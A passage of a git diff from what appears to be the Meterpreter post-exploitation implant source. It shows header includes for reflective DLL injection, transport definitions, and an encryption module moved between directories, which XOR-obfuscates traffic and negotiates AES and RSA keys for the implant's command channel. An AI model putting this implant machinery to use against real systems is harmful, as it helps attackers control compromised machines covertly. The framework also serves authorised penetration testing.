minor major + * v- minor minor + */ +#define METSRV_VERSION_NUMBER 0x00010001 + +#define _WIN32_WINNT _WIN32_WINNT_WINXP +#define USE_DLL + +#include "common.h" + +#include "remote_dispatch.h" +#include "libloader.h" + +#include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" +#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" +#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" + +/*! @brief Indication that the Meterpreter transport is using TCP. */ +#define METERPRETER_TRANSPORT_TCP 0x1 +/*! @brief Indication that the Meterpreter transport is using HTTP. */ +#define METERPRETER_TRANSPORT_HTTP 0x2 +/*! @brief Indication that the Meterpreter transport is using HTTPS. */ +#define METERPRETER_TRANSPORT_HTTPS (0x4 | METERPRETER_TRANSPORT_HTTP) +/*! @brief Indication that the Meterpreter transport is using named pipes. */ +#define METERPRETER_TRANSPORT_PIPE 0x8 + +#include "base.h" +#include "core.h" +#include "remote.h" +#include "pivot_tree.h" +#include "channel.h" +#include "scheduler.h" +#include "thread.h" +#include "unicode.h" +#include "list.h" +#include "zlib.h" + +#include "common_metapi.h" + +VOID sleep(DWORD seconds); +int current_unix_timestamp(void); +VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize); +BOOL is_null_guid(BYTE guid[sizeof(GUID)]); +VOID rand_xor_key(BYTE buffer[4]); + +DWORD server_setup(MetsrvConfig* config); +typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote); +typedef DWORD (*PSRVDEINIT)(Remote *remote); +typedef DWORD (*PSRVGETNAME)(char* buffer, int bufferSize); +typedef VOID (*PCMDADDED)(const char* commandName); +typedef DWORD (*PSTAGELESSINIT)(LPBYTE data, DWORD dataSize); + +typedef struct _EXTENSION +{ + HMODULE library; + PSRVINIT init; + PSRVDEINIT deinit; + PSRVGETNAME getname; + PCMDADDED commandAdded; + PSTAGELESSINIT stagelessInit; + Command* start; + Command* end; + char name[16]; +} EXTENSION, *PEXTENSION; + +#endif diff --git a/c/meterpreter/source/common/packet_encryption.c b/c/meterpreter/source/metsrv/packet_encryption.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/common/packet_encryption.c rename to c/meterpreter/source/metsrv/packet_encryption.c index 729d29fb..4ee9a2d8 --- a/c/meterpreter/source/common/packet_encryption.c +++ b/c/meterpreter/source/metsrv/packet_encryption.c @@ -1,573 +1,573 @@ -#include "common.h" -#include "remote.h" -#include "packet_encryption.h" - -typedef struct _CryptProviderParams -{ - const TCHAR* provider; - const DWORD type; - const DWORD flags; -} CryptProviderParams; - -typedef struct _RsaKey -{ - BLOBHEADER header; - DWORD length; - BYTE key[1]; -} RsaKey; - - -const CryptProviderParams AesProviders[] = -{ - {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0}, - {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_NEWKEYSET}, - {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, 0}, - {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, CRYPT_NEWKEYSET} -}; - -DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize) -{ - DWORD result = ERROR_SUCCESS; - Packet* localPacket = NULL; - HCRYPTKEY dupKey = 0; - -#ifdef DEBUGTRACE - PUCHAR h = buffer; - vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - vdprintf("[DEC] Packet buffer size is: %u", bufferSize); - - do - { - PacketHeader* header = (PacketHeader*)buffer; - - // Start by decoding the entire packet - xor_bytes(header->xor_key, buffer + sizeof(header->xor_key), bufferSize - sizeof(header->xor_key)); - -#ifdef DEBUGTRACE - h = buffer; - vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - - // Allocate a packet structure - if (!(localPacket = (Packet *)calloc(1, sizeof(Packet)))) - { - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - DWORD encFlags = ntohl(header->enc_flags); - vdprintf("[DEC] Encryption flags set to %x", encFlags); - - // Only decrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) - { - vdprintf("[DEC] Context is valid, moving on ... "); - LPBYTE payload = buffer + sizeof(PacketHeader); - - // the first 16 bytes of the payload we're given is the IV - LPBYTE iv = payload; - - vdprintf("[DEC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); - - // the rest of the payload bytes contains the actual encrypted data - DWORD encryptedSize = ntohl(header->length) - sizeof(TlvHeader) - AES256_BLOCKSIZE; - LPBYTE encryptedData = payload + AES256_BLOCKSIZE; - - vdprintf("[DEC] Encrypted Size: %u (%x)", encryptedSize, encryptedSize); - vdprintf("[DEC] Encrypted Size mod AES256_BLOCKSIZE: %u", encryptedSize % AES256_BLOCKSIZE); - - if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) - { - result = GetLastError(); - vdprintf("[DEC] Failed to duplicate key: %d (%x)", result, result); - break; - } - - DWORD mode = CRYPT_MODE_CBC; - if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) - { - result = GetLastError(); - dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); - break; - } - - // decrypt! - if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) - { - result = GetLastError(); - vdprintf("[DEC] Failed to set IV: %d (%x)", result, result); - break; - } - - if (!CryptDecrypt(dupKey, 0, TRUE, 0, encryptedData, &encryptedSize)) - { - result = GetLastError(); - vdprintf("[DEC] Failed to decrypt: %d (%x)", result, result); - break; - } - - // shift the decrypted data back to the start of the packet buffer so that we - // can pretend it's a normal packet - memmove_s(iv, encryptedSize, encryptedData, encryptedSize); - - // adjust the header size - header->length = htonl(encryptedSize + sizeof(TlvHeader)); - - // done, the packet parsing can continue as normal now - } - - localPacket->header.length = header->length; - localPacket->header.type = header->type; - localPacket->payloadLength = ntohl(localPacket->header.length) - sizeof(TlvHeader); - - vdprintf("[DEC] Actual payload Length: %d", localPacket->payloadLength); - vdprintf("[DEC] Header Type: %d", ntohl(localPacket->header.type)); - - localPacket->payload = malloc(localPacket->payloadLength); - if (localPacket->payload == NULL) - { - vdprintf("[DEC] failed to allocate payload"); - result = ERROR_NOT_ENOUGH_MEMORY; - break; - } - - vdprintf("[DEC] Local packet payload successfully allocated, copying data"); - memcpy_s(localPacket->payload, localPacket->payloadLength, buffer + sizeof(PacketHeader), localPacket->payloadLength); - -#ifdef DEBUGTRACE - h = localPacket->payload; - vdprintf("[DEC] TLV 1 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); - DWORD tl = ntohl(((TlvHeader*)h)->length); - vdprintf("[DEC] Skipping %u bytes", tl); - h += tl; - vdprintf("[DEC] TLV 2 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); -#endif - - vdprintf("[DEC] Writing localpacket %p to packet pointer %p", localPacket, packet); - *packet = localPacket; - } while (0); - - if (result != ERROR_SUCCESS) - { - if (localPacket != NULL) - { - packet_destroy(localPacket); - } - } - if (dupKey != 0) - { - CryptDestroyKey(dupKey); - } - - return result; -} - -DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize) -{ - DWORD result = ERROR_SUCCESS; - HCRYPTKEY dupKey = 0; - - vdprintf("[ENC] Preparing for encryption ..."); - - // create a new XOR key here, because the content will be copied into the final - // payload as part of the prepration process - rand_xor_key(packet->header.xor_key); - - // copy the session ID to the header as this will be used later to identify the packet's destination session - memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid)); - - // Only encrypt if the context was set up correctly - if (remote->enc_ctx != NULL && remote->enc_ctx->valid) - { - vdprintf("[ENC] Context is valid, moving on ... "); - // only encrypt the packet if encryption has been enabled - if (remote->enc_ctx->enabled) - { - do - { - vdprintf("[ENC] Context is enabled, doing the AES encryption"); - - if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result); - break; - } - - DWORD mode = CRYPT_MODE_CBC; - if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) - { - result = GetLastError(); - dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); - break; - } - - BYTE iv[AES256_BLOCKSIZE]; - if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to generate random IV: %d (%x)", result, result); - } - - vdprintf("[ENC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); - - - if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to set IV: %d (%x)", result, result); - break; - } - - vdprintf("[ENC] IV Set successfully"); - // mark this packet as an encrypted packet - packet->header.enc_flags = htonl(ENC_FLAG_AES256); - - - // Round up - DWORD maxEncryptSize = ((packet->payloadLength / AES256_BLOCKSIZE) + 1) * AES256_BLOCKSIZE; - // Need to have space for the IV at the start, as well as the packet Header - DWORD memSize = maxEncryptSize + sizeof(iv) + sizeof(packet->header); - - *buffer = (BYTE*)malloc(memSize); - BYTE* headerPos = *buffer; - BYTE* ivPos = headerPos + sizeof(packet->header); - BYTE* payloadPos = ivPos + sizeof(iv); - - *bufferSize = packet->payloadLength; - - // prepare the payload - memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); - - if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize)) - { - result = GetLastError(); - vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result); - } - else - { - vdprintf("[ENC] Data encrypted successfully, size is %u", *bufferSize); - } - - // update the length to match the size of the encrypted data with IV and the TlVHeader - packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader)); - - // update the returned total size to include both the IV and header size. - *bufferSize += sizeof(iv) + sizeof(packet->header); - - // write the header and IV to the payload - memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); - memcpy_s(ivPos, sizeof(iv), iv, sizeof(iv)); - } while (0); - } - else - { - dprintf("[ENC] Enabling the context"); - // if the encryption is valid, then we set the enbaled flag here because - // we know that the first packet going out is the response to the negotiation - // and from here we want to make sure that the encryption function is on. - remote->enc_ctx->enabled = TRUE; - } - } - else - { - vdprintf("[ENC] No encryption context present"); - } - - // if we don't have a valid buffer at this point, we'll create one and add the packet as per normal - if (*buffer == NULL) - { - *bufferSize = packet->payloadLength + sizeof(packet->header); - *buffer = (BYTE*)malloc(*bufferSize); - - BYTE* headerPos = *buffer; - BYTE* payloadPos = headerPos + sizeof(packet->header); - - // mark this packet as a non-encrypted packet - packet->header.enc_flags = htonl(ENC_FLAG_NONE); - - memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); - memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); - } - vdprintf("[ENC] Packet buffer size is: %u", *bufferSize); - -#ifdef DEBUGTRACE - LPBYTE h = *buffer; - vdprintf("[ENC] Sending header (before XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - // finally XOR obfuscate like we always did before, skippig the xor key itself. - xor_bytes(packet->header.xor_key, *buffer + sizeof(packet->header.xor_key), *bufferSize - sizeof(packet->header.xor_key)); - - vdprintf("[ENC] Packet encoded and ready for transmission"); -#ifdef DEBUGTRACE - vdprintf("[ENC] Sending header (after XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - - if (dupKey != 0) - { - CryptDestroyKey(dupKey); - } - - return result; -} - -DWORD public_key_encrypt(CHAR* publicKeyPem, unsigned char* data, DWORD dataLength, unsigned char** encryptedData, DWORD* encryptedDataLength) -{ - DWORD result = ERROR_SUCCESS; - LPBYTE pubKeyBin = NULL; - CERT_PUBLIC_KEY_INFO* pubKeyInfo = NULL; - HCRYPTPROV rsaProv = 0; - HCRYPTKEY pubCryptKey = 0; - LPBYTE cipherText = NULL; - - do - { - if (publicKeyPem == NULL) - { - result = ERROR_BAD_ARGUMENTS; - break; - } - - DWORD binaryRequiredSize = 0; - CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, NULL, &binaryRequiredSize, NULL, NULL); - dprintf("[ENC] Required size for the binary key is: %u (%x)", binaryRequiredSize, binaryRequiredSize); - - pubKeyBin = (LPBYTE)malloc(binaryRequiredSize); - if (pubKeyBin == NULL) - { - result = ERROR_OUTOFMEMORY; - break; - } - - if (!CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, pubKeyBin, &binaryRequiredSize, NULL, NULL)) - { - result = GetLastError(); - dprintf("[ENC] Failed to convert the given base64 encoded key into bytes: %u (%x)", result, result); - break; - } - - DWORD keyRequiredSize = 0; - if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, pubKeyBin, binaryRequiredSize, CRYPT_ENCODE_ALLOC_FLAG, 0, &pubKeyInfo, &keyRequiredSize)) - { - result = GetLastError(); - dprintf("[ENC] Failed to decode: %u (%x)", result, result); - break; - } - - dprintf("[ENC] Key algo: %s", pubKeyInfo->Algorithm.pszObjId); - - if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - dprintf("[ENC] Failed to create the RSA provider with CRYPT_VERIFYCONTEXT"); - if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) - { - result = GetLastError(); - dprintf("[ENC] Failed to create the RSA provider with CRYPT_NEWKEYSET: %u (%x)", result, result); - break; - } - else - { - dprintf("[ENC] Created the RSA provider with CRYPT_NEWKEYSET"); - } - } - else - { - dprintf("[ENC] Created the RSA provider with CRYPT_VERIFYCONTEXT"); - } - - if (!CryptImportPublicKeyInfo(rsaProv, X509_ASN_ENCODING, pubKeyInfo, &pubCryptKey)) - { - result = GetLastError(); - dprintf("[ENC] Failed to import the key: %u (%x)", result, result); - break; - } - - DWORD requiredEncSize = dataLength; - CryptEncrypt(pubCryptKey, 0, TRUE, 0, NULL, &requiredEncSize, requiredEncSize); - dprintf("[ENC] Encrypted data length: %u (%x)", requiredEncSize, requiredEncSize); - - cipherText = (LPBYTE)calloc(1, requiredEncSize); - if (cipherText == NULL) - { - result = ERROR_OUTOFMEMORY; - break; - } - - memcpy_s(cipherText, requiredEncSize, data, dataLength); - - if (!CryptEncrypt(pubCryptKey, 0, TRUE, 0, cipherText, &dataLength, requiredEncSize)) - { - result = GetLastError(); - dprintf("[ENC] Failed to encrypt: %u (%x)", result, result); - } - else - { - dprintf("[ENC] Encryption witih RSA succeded, byteswapping because MS is stupid and does stuff in little endian."); - // Given that we are encrypting such a small amount of data, we're going to assume that the size - // of the key matches the size of the block of data we've decrypted. - for (DWORD i = 0; i < requiredEncSize / 2; ++i) - { - BYTE b = cipherText[i]; - cipherText[i] = cipherText[requiredEncSize - i - 1]; - cipherText[requiredEncSize - i - 1] = b; - } - - *encryptedData = cipherText; - *encryptedDataLength = requiredEncSize; - } - } while (0); - - if (result != ERROR_SUCCESS) - { - if (cipherText != NULL) - { - free(cipherText); - } - } - - if (pubKeyInfo != NULL) - { - LocalFree(pubKeyInfo); - } - - if (pubCryptKey != 0) - { - CryptDestroyKey(pubCryptKey); - } - - if (rsaProv != 0) - { - CryptReleaseContext(rsaProv, 0); - } - - return result; -} - -DWORD free_encryption_context(Remote* remote) -{ - DWORD result = ERROR_SUCCESS; - - dprintf("[ENC] Freeing encryption context %p", remote->enc_ctx); - if (remote->enc_ctx != NULL) - { - dprintf("[ENC] Encryption context not null, so ditching AES key %ul", remote->enc_ctx->aes_key); - if (remote->enc_ctx->aes_key != 0) - { - CryptDestroyKey(remote->enc_ctx->aes_key); - } - - dprintf("[ENC] Encryption context not null, so ditching provider"); - if (remote->enc_ctx->provider != 0) - { - CryptReleaseContext(remote->enc_ctx->provider, 0); - } - - dprintf("[ENC] Encryption context not null, so freeing the context"); - free(remote->enc_ctx); - remote->enc_ctx = NULL; - } - return result; -} - -DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_SUCCESS; - Packet* response = packet_create_response(packet); - - do - { - if (remote->enc_ctx != NULL) - { - free_encryption_context(remote); - } - - remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext)); - - if (remote->enc_ctx == NULL) - { - dprintf("[ENC] failed to allocate the encryption context"); - result = ERROR_OUTOFMEMORY; - break; - } - - PacketEncryptionContext* ctx = remote->enc_ctx; - - for (int i = 0; i < _countof(AesProviders); ++i) - { - if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) - { - result = GetLastError(); - dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); - } - else - { - result = ERROR_SUCCESS; - ctx->provider_idx = i; - dprintf("[ENC] managed to acquire the crypt context %d!", i); - break; - } - } - - if (result != ERROR_SUCCESS) - { - break; - } - - ctx->key_data.header.bType = PLAINTEXTKEYBLOB; - ctx->key_data.header.bVersion = CUR_BLOB_VERSION; - ctx->key_data.header.aiKeyAlg = CALG_AES_256; - ctx->key_data.length = sizeof(ctx->key_data.key); - - if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key)) - { - result = GetLastError(); - dprintf("[ENC] failed to generate random key: %d (%x)", result, result); - break; - } - - if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) - { - result = GetLastError(); - dprintf("[ENC] failed to import random key: %d (%x)", result, result); - break; - } - - // now we need to encrypt this key data using the public key given - CHAR* pubKeyPem = packet_get_tlv_value_string(packet, TLV_TYPE_RSA_PUB_KEY); - unsigned char* cipherText = NULL; - DWORD cipherTextLength = 0; - DWORD pubEncryptResult = public_key_encrypt(pubKeyPem, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length, &cipherText, &cipherTextLength); - - packet_add_tlv_uint(response, TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256); - if (pubEncryptResult == ERROR_SUCCESS && cipherText != NULL) - { - // encryption succeeded, pass this key back to the call in encrypted form - packet_add_tlv_raw(response, TLV_TYPE_ENC_SYM_KEY, cipherText, cipherTextLength); - free(cipherText); - } - else - { - // no public key was given, so send it back in the raw - packet_add_tlv_raw(response, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length); - } - - ctx->valid = TRUE; - } while (0); - - packet_transmit_response(result, remote, response); - - remote->enc_ctx->enabled = TRUE; - - return ERROR_SUCCESS; -} +#include "metsrv.h" +#include "remote.h" +#include "packet_encryption.h" + +typedef struct _CryptProviderParams +{ + const TCHAR* provider; + const DWORD type; + const DWORD flags; +} CryptProviderParams; + +typedef struct _RsaKey +{ + BLOBHEADER header; + DWORD length; + BYTE key[1]; +} RsaKey; + + +const CryptProviderParams AesProviders[] = +{ + {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 0}, + {MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_NEWKEYSET}, + {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, 0}, + {MS_ENH_RSA_AES_PROV_XP, PROV_RSA_AES, CRYPT_NEWKEYSET} +}; + +DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize) +{ + DWORD result = ERROR_SUCCESS; + Packet* localPacket = NULL; + HCRYPTKEY dupKey = 0; + +#ifdef DEBUGTRACE + PUCHAR h = buffer; + vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + vdprintf("[DEC] Packet buffer size is: %u", bufferSize); + + do + { + PacketHeader* header = (PacketHeader*)buffer; + + // Start by decoding the entire packet + xor_bytes(header->xor_key, buffer + sizeof(header->xor_key), bufferSize - sizeof(header->xor_key)); + +#ifdef DEBUGTRACE + h = buffer; + vdprintf("[DEC] Packet header: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + + // Allocate a packet structure + if (!(localPacket = (Packet *)calloc(1, sizeof(Packet)))) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + DWORD encFlags = ntohl(header->enc_flags); + vdprintf("[DEC] Encryption flags set to %x", encFlags); + + // Only decrypt if the context was set up correctly + if (remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) + { + vdprintf("[DEC] Context is valid, moving on ... "); + LPBYTE payload = buffer + sizeof(PacketHeader); + + // the first 16 bytes of the payload we're given is the IV + LPBYTE iv = payload; + + vdprintf("[DEC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); + + // the rest of the payload bytes contains the actual encrypted data + DWORD encryptedSize = ntohl(header->length) - sizeof(TlvHeader) - AES256_BLOCKSIZE; + LPBYTE encryptedData = payload + AES256_BLOCKSIZE; + + vdprintf("[DEC] Encrypted Size: %u (%x)", encryptedSize, encryptedSize); + vdprintf("[DEC] Encrypted Size mod AES256_BLOCKSIZE: %u", encryptedSize % AES256_BLOCKSIZE); + + if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) + { + result = GetLastError(); + vdprintf("[DEC] Failed to duplicate key: %d (%x)", result, result); + break; + } + + DWORD mode = CRYPT_MODE_CBC; + if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) + { + result = GetLastError(); + dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); + break; + } + + // decrypt! + if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) + { + result = GetLastError(); + vdprintf("[DEC] Failed to set IV: %d (%x)", result, result); + break; + } + + if (!CryptDecrypt(dupKey, 0, TRUE, 0, encryptedData, &encryptedSize)) + { + result = GetLastError(); + vdprintf("[DEC] Failed to decrypt: %d (%x)", result, result); + break; + } + + // shift the decrypted data back to the start of the packet buffer so that we + // can pretend it's a normal packet + memmove_s(iv, encryptedSize, encryptedData, encryptedSize); + + // adjust the header size + header->length = htonl(encryptedSize + sizeof(TlvHeader)); + + // done, the packet parsing can continue as normal now + } + + localPacket->header.length = header->length; + localPacket->header.type = header->type; + localPacket->payloadLength = ntohl(localPacket->header.length) - sizeof(TlvHeader); + + vdprintf("[DEC] Actual payload Length: %d", localPacket->payloadLength); + vdprintf("[DEC] Header Type: %d", ntohl(localPacket->header.type)); + + localPacket->payload = malloc(localPacket->payloadLength); + if (localPacket->payload == NULL) + { + vdprintf("[DEC] failed to allocate payload"); + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + vdprintf("[DEC] Local packet payload successfully allocated, copying data"); + memcpy_s(localPacket->payload, localPacket->payloadLength, buffer + sizeof(PacketHeader), localPacket->payloadLength); + +#ifdef DEBUGTRACE + h = localPacket->payload; + vdprintf("[DEC] TLV 1 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); + DWORD tl = ntohl(((TlvHeader*)h)->length); + vdprintf("[DEC] Skipping %u bytes", tl); + h += tl; + vdprintf("[DEC] TLV 2 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); +#endif + + vdprintf("[DEC] Writing localpacket %p to packet pointer %p", localPacket, packet); + *packet = localPacket; + } while (0); + + if (result != ERROR_SUCCESS) + { + if (localPacket != NULL) + { + packet_destroy(localPacket); + } + } + if (dupKey != 0) + { + CryptDestroyKey(dupKey); + } + + return result; +} + +DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize) +{ + DWORD result = ERROR_SUCCESS; + HCRYPTKEY dupKey = 0; + + vdprintf("[ENC] Preparing for encryption ..."); + + // create a new XOR key here, because the content will be copied into the final + // payload as part of the prepration process + rand_xor_key(packet->header.xor_key); + + // copy the session ID to the header as this will be used later to identify the packet's destination session + memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid)); + + // Only encrypt if the context was set up correctly + if (remote->enc_ctx != NULL && remote->enc_ctx->valid) + { + vdprintf("[ENC] Context is valid, moving on ... "); + // only encrypt the packet if encryption has been enabled + if (remote->enc_ctx->enabled) + { + do + { + vdprintf("[ENC] Context is enabled, doing the AES encryption"); + + if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) + { + result = GetLastError(); + vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result); + break; + } + + DWORD mode = CRYPT_MODE_CBC; + if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) + { + result = GetLastError(); + dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); + break; + } + + BYTE iv[AES256_BLOCKSIZE]; + if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv)) + { + result = GetLastError(); + vdprintf("[ENC] 